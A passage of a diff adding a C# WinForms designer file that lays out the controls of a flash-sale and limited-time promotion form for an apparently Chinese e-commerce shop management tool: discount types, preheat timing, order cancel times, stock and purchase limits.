System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSubAct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSubAct.TabIndex = 532; + this.btnSubAct.Text = "提交活动"; + this.btnSubAct.Click += new System.EventHandler(this.btnSubAct_Click); + // + // pnlPreheat + // + this.pnlPreheat.Controls.Add(this.label6); + this.pnlPreheat.Controls.Add(this.label7); + this.pnlPreheat.Controls.Add(this.cmbDays); + this.pnlPreheat.Controls.Add(this.cmbHours); + this.pnlPreheat.Location = new System.Drawing.Point(490, 72); + this.pnlPreheat.Name = "pnlPreheat"; + this.pnlPreheat.Size = new System.Drawing.Size(335, 24); + this.pnlPreheat.TabIndex = 522; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(2, 3); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(68, 17); + this.label6.TabIndex = 519; + this.label6.Text = "活动开始前"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(200, 3); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(56, 17); + this.label7.TabIndex = 521; + this.label7.Text = "进行预热"; + // + // cmbDays + // + this.cmbDays.DisplayMember = "Text"; + this.cmbDays.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbDays.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbDays.FormattingEnabled = true; + this.cmbDays.ItemHeight = 18; + this.cmbDays.Location = new System.Drawing.Point(70, 0); + this.cmbDays.Name = "cmbDays"; + this.cmbDays.Size = new System.Drawing.Size(47, 24); + this.cmbDays.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbDays.TabIndex = 519; + // + // cmbHours + // + this.cmbHours.DisplayMember = "Text"; + this.cmbHours.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbHours.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbHours.FormattingEnabled = true; + this.cmbHours.ItemHeight = 18; + this.cmbHours.Location = new System.Drawing.Point(120, 0); + this.cmbHours.Name = "cmbHours"; + this.cmbHours.Size = new System.Drawing.Size(80, 24); + this.cmbHours.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbHours.TabIndex = 520; + // + // pnlDiscount + // + this.pnlDiscount.Controls.Add(this.rbBuyoutPrice); + this.pnlDiscount.Controls.Add(this.rbReducePrice); + this.pnlDiscount.Controls.Add(this.rbDiscount); + this.pnlDiscount.Location = new System.Drawing.Point(490, 101); + this.pnlDiscount.Name = "pnlDiscount"; + this.pnlDiscount.Size = new System.Drawing.Size(335, 23); + this.pnlDiscount.TabIndex = 518; + // + // rbBuyoutPrice + // + this.rbBuyoutPrice.AutoSize = true; + this.rbBuyoutPrice.Location = new System.Drawing.Point(114, 1); + this.rbBuyoutPrice.Name = "rbBuyoutPrice"; + this.rbBuyoutPrice.Size = new System.Drawing.Size(62, 21); + this.rbBuyoutPrice.TabIndex = 468; + this.rbBuyoutPrice.Text = "一口价"; + this.rbBuyoutPrice.UseVisualStyleBackColor = true; + this.rbBuyoutPrice.Click += new System.EventHandler(this.rbBuyoutPrice_Click); + // + // rbReducePrice + // + this.rbReducePrice.AutoSize = true; + this.rbReducePrice.Checked = true; + this.rbReducePrice.Location = new System.Drawing.Point(58, 1); + this.rbReducePrice.Name = "rbReducePrice"; + this.rbReducePrice.Size = new System.Drawing.Size(50, 21); + this.rbReducePrice.TabIndex = 467; + this.rbReducePrice.TabStop = true; + this.rbReducePrice.Text = "直降"; + this.rbReducePrice.UseVisualStyleBackColor = true; + this.rbReducePrice.Click += new System.EventHandler(this.rbReducePrice_Click); + // + // rbDiscount + // + this.rbDiscount.AutoSize = true; + this.rbDiscount.Location = new System.Drawing.Point(1, 1); + this.rbDiscount.Name = "rbDiscount"; + this.rbDiscount.Size = new System.Drawing.Size(50, 21); + this.rbDiscount.TabIndex = 466; + this.rbDiscount.Text = "打折"; + this.rbDiscount.UseVisualStyleBackColor = true; + this.rbDiscount.Click += new System.EventHandler(this.rbDiscount_Click); + // + // btnGetProduct + // + this.btnGetProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnGetProduct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnGetProduct.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetProduct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnGetProduct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGetProduct.Location = new System.Drawing.Point(1062, 17); + this.btnGetProduct.Name = "btnGetProduct"; + this.btnGetProduct.Size = new System.Drawing.Size(60, 23); + this.btnGetProduct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnGetProduct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProduct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProduct.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnGetProduct.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnGetProduct.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnGetProduct.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnGetProduct.Style.GradientAngle = 90; + this.btnGetProduct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnGetProduct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnGetProduct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnGetProduct.TabIndex = 456; + this.btnGetProduct.Text = "获取商品"; + this.btnGetProduct.Click += new System.EventHandler(this.btnGetProduct_Click); + // + // lblDiscount + // + this.lblDiscount.AutoSize = true; + this.lblDiscount.Location = new System.Drawing.Point(430, 104); + this.lblDiscount.Name = "lblDiscount"; + this.lblDiscount.Size = new System.Drawing.Size(56, 17); + this.lblDiscount.TabIndex = 517; + this.lblDiscount.Text = "优惠方式"; + // + // cmbCancelTime + // + this.cmbCancelTime.DisplayMember = "Text"; + this.cmbCancelTime.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbCancelTime.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbCancelTime.FormattingEnabled = true; + this.cmbCancelTime.ItemHeight = 18; + this.cmbCancelTime.Items.AddRange(new object[] { + this.comboItem1, + this.comboItem2, + this.comboItem3, + this.comboItem4, + this.comboItem5, + this.comboItem6}); + this.cmbCancelTime.Location = new System.Drawing.Point(104, 84); + this.cmbCancelTime.Name = "cmbCancelTime"; + this.cmbCancelTime.Size = new System.Drawing.Size(320, 24); + this.cmbCancelTime.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbCancelTime.TabIndex = 511; + // + // comboItem1 + // + this.comboItem1.Text = "3分钟"; + // + // comboItem2 + // + this.comboItem2.Text = "5分钟"; + // + // comboItem3 + // + this.comboItem3.Text = "10分钟"; + // + // comboItem4 + // + this.comboItem4.Text = "15分钟"; + // + // comboItem5 + // + this.comboItem5.Text = "20分钟"; + // + // comboItem6 + // + this.comboItem6.Text = "30分钟"; + // + // dtpEndTime + // + this.dtpEndTime.CustomFormat = "yyyy\'/\'MM\'/\'dd HH:mm:ss"; + this.dtpEndTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpEndTime.Location = new System.Drawing.Point(271, 38); + this.dtpEndTime.Name = "dtpEndTime"; + this.dtpEndTime.Size = new System.Drawing.Size(153, 23); + this.dtpEndTime.TabIndex = 468; + // + // btnStopGetProduct + // + this.btnStopGetProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopGetProduct.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopGetProduct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopGetProduct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopGetProduct.Location = new System.Drawing.Point(1128, 46); + this.btnStopGetProduct.Name = "btnStopGetProduct"; + this.btnStopGetProduct.Size = new System.Drawing.Size(60, 23); + this.btnStopGetProduct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopGetProduct.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopGetProduct.Style.GradientAngle = 90; + this.btnStopGetProduct.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopGetProduct.TabIndex = 463; + this.btnStopGetProduct.Text = "停止提交"; + this.btnStopGetProduct.Click += new System.EventHandler(this.btnStopGetProduct_Click); + // + // dtpStartTime + // + this.dtpStartTime.CustomFormat = "yyyy\'/\'MM\'/\'dd HH:mm:ss"; + this.dtpStartTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpStartTime.Location = new System.Drawing.Point(105, 38); + this.dtpStartTime.Name = "dtpStartTime"; + this.dtpStartTime.Size = new System.Drawing.Size(155, 23); + this.dtpStartTime.TabIndex = 467; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.ForeColor = System.Drawing.SystemColors.GrayText; + this.label4.Location = new System.Drawing.Point(102, 61); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(274, 17); + this.label4.TabIndex = 516; + this.label4.Text = "活动时间超过24小时,用户端将不展示活动倒计时"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.ForeColor = System.Drawing.SystemColors.GrayText; + this.label12.Location = new System.Drawing.Point(101, 107); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(231, 17); + this.label12.TabIndex = 515; + this.label12.Text = "促销活动的订单取消时间建议设置为5分钟"; + // + // panel8 + // + this.panel8.Controls.Add(this.btnSetName); + this.panel8.Controls.Add(this.chkSetName); + this.panel8.Location = new System.Drawing.Point(844, 14); + this.panel8.Name = "panel8"; + this.panel8.Size = new System.Drawing.Size(208, 23); + this.panel8.TabIndex = 514; + // + // btnSetName + // + this.btnSetName.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetName.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSetName.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetName.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSetName.Location = new System.Drawing.Point(106, 2); + this.btnSetName.Name = "btnSetName"; + this.btnSetName.Size = new System.Drawing.Size(56, 19); + this.btnSetName.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetName.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetName.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetName.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSetName.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSetName.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSetName.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSetName.Style.GradientAngle = 90; + this.btnSetName.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetName.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetName.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetName.TabIndex = 630; + this.btnSetName.Text = "设置名称"; + this.btnSetName.Click += new System.EventHandler(this.btnSetName_Click); + // + // chkSetName + // + this.chkSetName.FlatStyle = System.Windows.Forms.FlatStyle.System; + this.chkSetName.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkSetName.Location = new System.Drawing.Point(0, 2); + this.chkSetName.Name = "chkSetName"; + this.chkSetName.Size = new System.Drawing.Size(125, 19); + this.chkSetName.TabIndex = 561; + this.chkSetName.Text = "自定义活动名称"; + this.chkSetName.UseVisualStyleBackColor = true; + this.chkSetName.CheckedChanged += new System.EventHandler(this.chkSetName_CheckedChanged); + // + // panel3 + // + this.panel3.Controls.Add(this.rbPreheat); + this.panel3.Controls.Add(this.rbNotPreheat); + this.panel3.Location = new System.Drawing.Point(490, 43); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(120, 23); + this.panel3.TabIndex = 514; + // + // rbPreheat + // + this.rbPreheat.AutoSize = true; + this.rbPreheat.Location = new System.Drawing.Point(66, 1); + this.rbPreheat.Name = "rbPreheat"; + this.rbPreheat.Size = new System.Drawing.Size(50, 21); + this.rbPreheat.TabIndex = 467; + this.rbPreheat.Text = "预热"; + this.rbPreheat.UseVisualStyleBackColor = true; + // + // rbNotPreheat + // + this.rbNotPreheat.AutoSize = true; + this.rbNotPreheat.Checked = true; + this.rbNotPreheat.Location = new System.Drawing.Point(1, 1); + this.rbNotPreheat.Name = "rbNotPreheat"; + this.rbNotPreheat.Size = new System.Drawing.Size(62, 21); + this.rbNotPreheat.TabIndex = 466; + this.rbNotPreheat.TabStop = true; + this.rbNotPreheat.Text = "不预热"; + this.rbNotPreheat.UseVisualStyleBackColor = true; + this.rbNotPreheat.CheckedChanged += new System.EventHandler(this.rbNotPreheat_CheckedChanged); + // + // lblLimit + // + this.lblLimit.AutoSize = true; + this.lblLimit.Location = new System.Drawing.Point(662, 46); + this.lblLimit.Name = "lblLimit"; + this.lblLimit.Size = new System.Drawing.Size(56, 17); + this.lblLimit.TabIndex = 513; + this.lblLimit.Text = "每人限购"; + // + // lblStock + // + this.lblStock.AutoSize = true; + this.lblStock.Location = new System.Drawing.Point(432, 17); + this.lblStock.Name = "lblStock"; + this.lblStock.Size = new System.Drawing.Size(56, 17); + this.lblStock.TabIndex = 513; + this.lblStock.Text = "活动库存"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(431, 46); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(56, 17); + this.label9.TabIndex = 513; + this.label9.Text = "是否预热"; + // + // panel2 + // + this.panel2.Controls.Add(this.rbSoldOut); + this.panel2.Controls.Add(this.rbNormalPrice); + this.panel2.Location = new System.Drawing.Point(104, 128); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(320, 23); + this.panel2.TabIndex = 512; + // + // rbSoldOut + // + this.rbSoldOut.AutoSize = true; + this.rbSoldOut.Location = new System.Drawing.Point(126, 1); + this.rbSoldOut.Name = "rbSoldOut"; + this.rbSoldOut.Size = new System.Drawing.Size(194, 21); + this.rbSoldOut.TabIndex = 467; + this.rbSoldOut.Text = "停止售卖,商品标示“已抢光”"; + this.rbSoldOut.UseVisualStyleBackColor = true; + // + // rbNormalPrice + // + this.rbNormalPrice.AutoSize = true; + this.rbNormalPrice.Checked = true; + this.rbNormalPrice.Location = new System.Drawing.Point(1, 1); + this.rbNormalPrice.Name = "rbNormalPrice"; + this.rbNormalPrice.Size = new System.Drawing.Size(122, 21); + this.rbNormalPrice.TabIndex = 466; + this.rbNormalPrice.TabStop = true; + this.rbNormalPrice.Text = "恢复原价继续售卖"; + this.rbNormalPrice.UseVisualStyleBackColor = true; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(9, 131); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(92, 17); + this.label11.TabIndex = 510; + this.label11.Text = "活动库存售罄时"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(21, 87); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(80, 17); + this.label3.TabIndex = 509; + this.label3.Text = "订单取消时间"; + // + // panel1 + // + this.panel1.Controls.Add(this.rbStartEndTime); + this.panel1.Controls.Add(this.rbTimePeriod); + this.panel1.Location = new System.Drawing.Point(104, 14); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(320, 23); + this.panel1.TabIndex = 508; + // + // rbStartEndTime + // + this.rbStartEndTime.AutoSize = true; + this.rbStartEndTime.Checked = true; + this.rbStartEndTime.Location = new System.Drawing.Point(3, 1); + this.rbStartEndTime.Name = "rbStartEndTime"; + this.rbStartEndTime.Size = new System.Drawing.Size(134, 21); + this.rbStartEndTime.TabIndex = 464; + this.rbStartEndTime.TabStop = true; + this.rbStartEndTime.Text = "按开始结束时间设置"; + this.rbStartEndTime.UseVisualStyleBackColor = true; + this.rbStartEndTime.CheckedChanged += new System.EventHandler(this.rbStartEndTime_CheckedChanged); + // + // rbTimePeriod + // + this.rbTimePeriod.AutoSize = true; + this.rbTimePeriod.Location = new System.Drawing.Point(140, 1); + this.rbTimePeriod.Name = "rbTimePeriod"; + this.rbTimePeriod.Size = new System.Drawing.Size(98, 21); + this.rbTimePeriod.TabIndex = 465; + this.rbTimePeriod.Text = "按时间段选择"; + this.rbTimePeriod.UseVisualStyleBackColor = true; + // + // lblTime + // + this.lblTime.AutoSize = true; + this.lblTime.Location = new System.Drawing.Point(45, 17); + this.lblTime.Name = "lblTime"; + this.lblTime.Size = new System.Drawing.Size(56, 17); + this.lblTime.TabIndex = 507; + this.lblTime.Text = "活动时间"; + this.lblTime.Click += new System.EventHandler(this.lblTime_Click); + this.lblTime.DoubleClick += new System.EventHandler(this.lblTime_DoubleClick); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(260, 41); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(13, 17); + this.label1.TabIndex = 506; + this.label1.Text = "-"; + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(2, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 160); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnRefreshShop + // + this.btnRefreshShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.ForeColor = System.Drawing.Color.White; + this.btnRefreshShop.Location = new System.Drawing.Point(16, 30); + this.btnRefreshShop.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(112, 26); + this.btnRefreshShop.TabIndex = 375; + this.btnRefreshShop.Text = "刷新店铺状态"; + this.btnRefreshShop.UseVisualStyleBackColor = false; + this.btnRefreshShop.Click += new System.EventHandler(this.btnRefreshShop_Click); + // + // SeckillingAndLimitedSalesForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1350, 561); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "SeckillingAndLimitedSalesForm"; + this.Text = "LimitSaleForm"; + this.Load += new System.EventHandler(this.SeckillingAndLimitedSalesForm_Load); + this.VisibleChanged += new System.EventHandler(this.SeckillingAndLimitedSalesForm_VisibleChanged); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.panelEx1.ResumeLayout(false); + this.ucTabControl1.ResumeLayout(false); + this.tabPageCheckResult.ResumeLayout(false); + this.tabPageCheckResult.PerformLayout(); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx3.ResumeLayout(false); + this.ucGroupBoxEx3.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudStockValue)).EndInit(); + this.flpPrice.ResumeLayout(false); + this.flpPrice.PerformLayout(); + this.pnlSkuPriceMin.ResumeLayout(false); + this.pnlSkuPriceMin.PerformLayout(); + this.panel9.ResumeLayout(false); + this.panel9.PerformLayout(); + this.panel7.ResumeLayout(false); + this.panel7.PerformLayout(); + this.pnlPreheat.ResumeLayout(false); + this.pnlPreheat.PerformLayout(); + this.pnlDiscount.ResumeLayout(false); + this.pnlDiscount.PerformLayout(); + this.panel8.ResumeLayout(false); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private DevComponents.DotNetBar.PanelEx btnGetProduct; + private System.Windows.Forms.CheckBox chkSkipHasSale; + private System.Windows.Forms.TabPage tabPageCheckResult; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnRefreshShop; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.DataGridViewCheckBoxColumn colCanUse; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private DevComponents.DotNetBar.PanelEx panelEx1; + private UserComponent.UcTabControl ucTabControl1; + private System.Windows.Forms.TabPage tabPageViolateFileList; + private System.Windows.Forms.SplitContainer splitContainer4; + private UserControls.StatusBarUserControl statusBar; + private DevComponents.DotNetBar.PanelEx btnClear; + private System.Windows.Forms.Label lblProductName; + private UserComponent.UcGroupBoxEx ucGroupBoxEx3; + private System.Windows.Forms.TextBox txtProductName; + private System.Windows.Forms.RadioButton rbTimePeriod; + private System.Windows.Forms.RadioButton rbStartEndTime; + private DevComponents.DotNetBar.PanelEx btnStopGetProduct; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.DateTimePicker dtpEndTime; + private System.Windows.Forms.DateTimePicker dtpStartTime; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Label lblTime; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.RadioButton rbSoldOut; + private System.Windows.Forms.RadioButton rbNormalPrice; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbCancelTime; + private DevComponents.Editors.ComboItem comboItem1; + private DevComponents.Editors.ComboItem comboItem2; + private DevComponents.Editors.ComboItem comboItem3; + private DevComponents.Editors.ComboItem comboItem4; + private DevComponents.Editors.ComboItem comboItem5; + private DevComponents.Editors.ComboItem comboItem6; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.RadioButton rbPreheat; + private System.Windows.Forms.RadioButton rbNotPreheat; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Panel pnlDiscount; + private System.Windows.Forms.RadioButton rbBuyoutPrice; + private System.Windows.Forms.RadioButton rbReducePrice; + private System.Windows.Forms.RadioButton rbDiscount; + private System.Windows.Forms.Label lblDiscount; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbDays; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Label label7; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbHours; + private System.Windows.Forms.Panel pnlPreheat; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbLimit; + private System.Windows.Forms.Label lblLimit; + private System.Windows.Forms.Label lblStock; + private DevComponents.DotNetBar.PanelEx btnSubAct; + private DevComponents.DotNetBar.PanelEx btnManageAct; + private System.Windows.Forms.Panel panel7; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbActCont; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label8; + private DevComponents.Editors.ComboItem comboItem7; + private DevComponents.Editors.ComboItem comboItem8; + private DevComponents.Editors.ComboItem comboItem9; + private DevComponents.Editors.ComboItem comboItem10; + private DevComponents.Editors.ComboItem comboItem11; + private DevComponents.Editors.ComboItem comboItem12; + private DevComponents.Editors.ComboItem comboItem13; + private DevComponents.Editors.ComboItem comboItem14; + private DevComponents.Editors.ComboItem comboItem15; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Panel panel8; + private System.Windows.Forms.CheckBox chkSetName; + private System.Windows.Forms.Panel panel9; + private System.Windows.Forms.Label label13; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbSetPro; + private System.Windows.Forms.Panel pnlSkuPriceMin; + private System.Windows.Forms.Label lblSKUPriceMin1; + private System.Windows.Forms.TextBox txtSKUPriceMin; + private System.Windows.Forms.Label lblSKUPriceCommon1; + private System.Windows.Forms.Label lblSKUPriceMin3; + private System.Windows.Forms.Label lblSKUPriceMin2; + private System.Windows.Forms.Label lblSKUPriceCommon3; + private System.Windows.Forms.Label lblSKUPriceCommon2; + private System.Windows.Forms.TextBox txtSKUPriceCommon; + private System.Windows.Forms.FlowLayoutPanel flpPrice; + private DevComponents.DotNetBar.PanelEx btnSetName; + private System.Windows.Forms.Label label2; + private DevComponents.DotNetBar.Controls.TextBoxX txtContainsId; + private System.Windows.Forms.NumericUpDown nudStockValue; + private System.Windows.Forms.Label lblPercentSign; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbStockType; + private DevComponents.Editors.ComboItem 全部库存; + private DevComponents.Editors.ComboItem 百分比库存; + private DevComponents.Editors.ComboItem 统一库存; + private System.Windows.Forms.CheckBox chkSetSkuOption; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbSkuOptionType; + private DevComponents.Editors.ComboItem 第一个; + private DevComponents.Editors.ComboItem 最后一个; + private DevComponents.Editors.ComboItem 最便宜; 